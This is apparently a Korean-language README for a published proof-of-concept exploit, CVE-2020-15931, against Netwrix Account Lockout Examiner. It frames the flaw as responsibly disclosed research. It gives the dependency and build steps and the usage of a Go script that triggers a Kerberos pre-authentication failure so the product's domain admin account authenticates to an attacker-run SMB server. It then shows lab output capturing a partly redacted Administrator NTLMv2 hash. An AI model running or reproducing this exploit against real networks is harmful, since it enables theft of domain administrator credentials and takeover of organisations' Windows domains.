optiv/cve-2020-15931Netwrix Account Lockout Examiner 4.1 도메인 관리자 계정 자격 증명 노출 취약점
Netwrix Account Lockout Examiner(ALE) 5.1 이전 버전은 인증되지 않은 원격 공격자가 공격자가 제어하는 시스템으로의 연결을 트리거하고 도메인 관리자 권한이 있는 계정의 NTLMv1/v2 challenge-response를 캡처할 수 있게 합니다. 도메인 관리자 계정은 설치 요구 사항에 따라 이미 제품에 구성되어 있을 것입니다. 공격자는 도메인 컨트롤러에서 단일 Kerberos 사전 인증 실패(이벤트 ID 4771) 이벤트를 생성하여 이를 악용할 수 있습니다.
취약점에 대한 자세한 내용은 다음 블로그에서 확인할 수 있습니다.
이 취약점은 보안 평가를 수행하던 중 Optiv 보안 컨설턴트인 Robert Surace(@robsauce)와 Daniel Min(@bigb0ss)이 실제 환경에서 발견했습니다. CVE-2020-15931을 식별한 후 Optiv는 즉시 Netwrix에 연락하여 식별된 결함을 책임 있게 공개했습니다.
익스플로잇 스크립트는 golang으로 개발되었습니다. 다음 종속 항목을 설치하십시오:
go get github.com/fatih/color
go get github.com/ropnop/gokrb5/client
go get github.com/ropnop/gokrb5/config
또한 Impacket의 smbserver.py를 활용합니다.
pip install impacket
마지막으로 익스플로잇 스크립트를 다운로드하여 빌드합니다.
git clone https://github.com/optiv/CVE-2020-15931
go build cve-2020-15931.go
$ ./cve-2020-15931
_______ ________ ___ ___ ___ ___ __ _____ ___ ____ __
/ ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ |
| | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
| | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
| |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || |
\_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_|
[robSauce & bigb0ss] v1.0
[+] Netwrix Account Lockout Examiner 4.1 Exploit Script
Required:
-d Domain name
-dc Domain controller
-u Valid username
Optional:
-h Print this help menu
Example:
./cve-2020-15931 -d target.com -dc 10.10.0.2 -u jsmith
(참고: 작성 시점 기준으로 이 공격은 블라인드 기반 공격으로만 식별할 수 있습니다. 대상 조직이 네트워크에서 계정 인증을 감사하기 위해 Netwrix Account Lockout Examiner를 사용하는지 여부를 판단하기 어렵기 때문입니다.)
$ ./cve-2020-15931 -d bosslab.com -dc 10.10.0.2 -u b0ss1
_______ ________ ___ ___ ___ ___ __ _____ ___ ____ __
/ ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ | ____/ _ \___ \/_ |
| | \ \ / /| |__ ______ ) | | | | ) | | | |______| | |__| (_) |__) || |
| | \ \/ / | __|______/ /| | | |/ /| | | |______| |___ \\__, |__ < | |
| |____ \ / | |____ / /_| |_| / /_| |_| | | |___) | / /___) || |
\_____| \/ |______| |____|\___/____|\___/ |_|____/ /_/|____/ |_|
[robSauce & bigb0ss] v1.0
[+] Netwrix Account Lockout Examiner 4.1 Exploit Script
[+] DC: 10.10.0.2
[+] Domain: bosslab.com
[+] Username: b0ss1
[+] Password: wrongPass
[+] Event ID 4771 (Kerberos Pre-Authentication Failed) Triggered!
[+] If vulnerable, you will get a NTLMv1/2 of the Netwrix service account.
[+] SMB Server Started...
Impacket v0.9.22.dev1+20200607.100119.b5c61678 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.0.2,59264)
[*] AUTHENTICATE_MESSAGE(BOSSLAB\Administrator,BOSSLAB-DC01)
[*] User BOSSLAB-DC01\Administrator authenticated successfully
[*] Administrator::BOSSLAB:17dcc32c6eafc48d:f798e7c906eb1b639722614f1417ded1:0101000000000000be18...REDACTED...0000000
[*] Disconnecting Share(1:IPC$)
[*] Closing down connection (10.10.0.2,59264)
[*] Remaining connections []
Netwrix Account Lockout Examiner 5.1
이벤트 ID 4771
Impacket smbserver.py
Gokrb5 Client
CVE-2020-15931